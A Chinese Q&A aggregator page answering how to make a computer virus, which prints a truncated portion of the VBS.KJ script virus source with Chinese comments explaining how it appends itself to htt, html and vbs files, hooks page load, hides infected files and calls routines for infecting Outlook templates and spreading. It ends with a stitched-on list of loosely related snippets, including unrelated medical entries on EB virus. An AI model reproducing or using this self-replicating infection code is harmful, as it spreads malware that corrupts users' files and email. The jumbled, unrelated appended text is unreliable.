[电脑病毒怎么制造啊]病毒『电脑病毒』是一段非常小的（通常只有几K Bytes）会不断自我复制，隐藏和感染其他程式或电脑的程式码. 它在我们的电脑里执行，并且导致不同程度的影响.它可以把电脑里的程式或...+阅读
那就看看vbs.kj的源码
Dim InWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk
Sub KJ_start()
\' 初始化变量
KJSetDim()
\' 初始化环境
KJCreateMilieu()
\' 感染本地或者共享上与html所在目录
KJLikeIt()
\' 通过vbs感染Outlook邮件模板
KJCreateMail()
\' 进行病毒传播
KJPropagate()
End Sub
\' 函数：KJAppendTo(FilePath,TypeStr)
\' 功能：向指定类型的指定文件追加病毒
\' 参数：
\' FilePath 指定文件路径
\' TypeStr 指定类型
Function KJAppendTo(FilePath,TypeStr)
On Error Resume Next
\' 以只读方式打开指定文件
Set ReadTemp = FSO.OpenTextFile(FilePath,1)
\' 将文件内容读入到TmpStr变量中
TmpStr = ReadTemp.ReadAll
\' 判断文件中是否存在“KJ_start（)“字符串，若存在说明已经感染，退出函数；
\' 若文件长度小于1，也退出函数。
If Instr(TmpStr,“KJ_start()“) <> 0 Or Len(TmpStr) < 1 Then
ReadTemp.Close
Exit Function
End If
\' 如果传过来的类型是“htt“
\' 在文件头加上调用页面的时候加载KJ_start（)函数；
\' 在文件尾追加html版本的加密病毒体。
\' 如果是“html“
\' 在文件尾追加调用页面的时候加载KJ_start（)函数和html版本的病毒体；
\' 如果是“vbs“
\' 在文件尾追加vbs版本的病毒体
If TypeStr = “htt“ Then
ReadTemp.Close
Set FileTemp = FSO.OpenTextFile(FilePath,2)
FileTemp.Write “<“ & “BODY onload=“““ & “vbscript:“ & “KJ_start()“““ & “>“ & vbCrLf & TmpStr & vbCrLf & HtmlText
FileTemp.Close
Set FAttrib = FSO.GetFile(FilePath)
FAttrib.attributes = 34
Else
ReadTemp.Close
Set FileTemp = FSO.OpenTextFile(FilePath,8)
If TypeStr = “html“ Then
FileTemp.Write vbCrLf & “<“ & “HTML>“ & vbCrLf & “<“ & “BODY onload=“““ & “vbscript:“ & “KJ_start()“““ & “>“ & vbCrLf & HtmlText
ElseIf TypeStr = “vbs“ Then
FileTemp.Write vbCrLf & VbsText
End If
以下为关联文档：
电脑病毒是怎样制造出来的一般来说，电脑病毒泛指一些能够影响电脑正常运作的有害程序. 为何我们称这些有害程序为电脑病毒？电脑科研人员发现，电脑病毒与生物病毒（例如：H5N1）有很多相似之处。第一，两者均需要...
电脑的病毒是怎么制造的病毒也是一种程序，是写出来，只是用来传播的途径不同 电脑病毒是什么东西呢？是否会像其他病毒，如“H5N1”、“O-157大肠杆菌”、“HIV”一样对人体造成伤害呢？电脑病毒是会造成伤...
怎么做电脑病毒制作电脑病毒是要会编程语言的。写病毒一般用C或delphi等。。 C比较于delphi等高级语音来说比较难学，开发周期长！ 不过C也有他的特点。C可以直接对硬件进行操作，C比delphi等高...
微信群里面别人发的加入群的链接感觉是病毒点开了会中毒吗微信群当中，不要随意扫描二维码下载文件或是访问陌生网址，那些连接很有可能是中病毒，一点开就会中毒。到手机管家官网的在线安全检查功能进行检测，到软件官网或者各大应用商店下...
U盘中病毒不想删除病毒文件怎么办换一款试试，推荐 安铁诺（Antiunknown）防病毒软件2008采用第四代AUK防未知病毒引擎，可以检测并清除各类蠕虫、脚本病毒、感染型病毒，并且可以查杀、清除各种恶意软件，安铁诺2008新...
U盘上的2个病毒文件怎么删都删不掉既然是病毒，就要删除。 楼主清除不掉此病毒的原因是因为此文件正在运行，正在运行的文件是无法删除的 所以清除此文件的突破口就是停止此文件运行。 ~~~~~~~清除方法~~~~~~~~...
U盘中病毒了在不删除原有文件的情况下如何杀病毒U盘故障误删文件后该怎么办？U盘是我们日常办公中常用的一种存储工具，在使用过程中，往往也都会在其内部存储一些重要的数据文件，比如图片、视频、音频等文件。并且就U盘这种设备...
小孩得EB病毒主要症状是什么症状幼儿时期感染EB病毒一般为亚临床感染，产生抗体，并终身带病毒，轻微且无症状的或引起轻症咽炎和上呼吸道感染。按起病缓急和病程进展，可分为缓进型和急进型，以缓进型多见。成人...
小儿EB病毒感染EB病毒在人群中广泛感染， 中国3-5岁儿童EB病毒VCA-lgG抗体阳性率达90%以上，幼儿感染后多数无明显症状，或引起轻症咽炎和上呼吸道感染。青年期发生原发感染，约有50%出现传染性单...
